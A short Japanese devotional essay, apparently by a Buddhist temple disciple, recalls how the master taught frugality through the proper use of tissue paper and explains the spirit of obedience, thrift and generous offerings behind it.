お師匠からは、「師匠仕えをまじめにしっかりやれば、三年、五年、十年それ以上の年月を経て、その有り難さが実感できるから、とにかく自分考えの我を通すのではなく、言われたらハイと返事をして、すぐに行動しなさい」と毎日のように言われ続けておりました。

その中の一つに、チリ紙の使い方があります。これは入寺して間もない頃の出来事です。私が何気なく鼻をかんでいたら、

不満顔「なんでそんな使い方をするんだ」
「えっ、いつも通りです」
「その使い方ではもったいない」
「申し訳ございません」
「こう使わせていただくのだよ」

本当ならばすぐに「申し訳ございませんでした」と、自分の非を認めてあやまらなければならないのに、つい我を張ってしまったのです。きっとお師匠は、何が悪いんだという不服そうな私の顔をみて、すべて見抜かれていたことでしょうが、それでも懇切丁寧に教えてくださいました。

「お寺のものは祖師のもの、節約するは我らのつとめ」とあります。そのチリ紙一枚もお祖師さまのものであり、少しもムダにしては自分の果報がなくなり、チリ紙も使えないような身の上になるんだと教えてくださいました。

からといって、お祖師さまのものまでもケチるわけではありません。御宝前のこととなれば、お初穂、お賽銭、ご有志などを日々気持ちよくされておりました。

お寺のお祖師さまの懐が少しでも大きくなるようにいつも考えておられ、自分がひもじい思いをしても弟子の養成をしなくては、自分が得度させていただいたご恩返しにならないと、お師匠はおっしゃっておりました。

まだまだ私は自分考えが強いので、今後自分がまた読み返すときに役に立てばと思い、お師匠から教えて頂いたことを簡単ですがまとめさせていただきました。

お師匠のまねごとでも良いから実行できるように努力精進させていただきたいと思います。みなさんも良い果報が身に付くように、日々の御法門で教わったことを素直に実践させて頂きましょう。まずはお参詣から。

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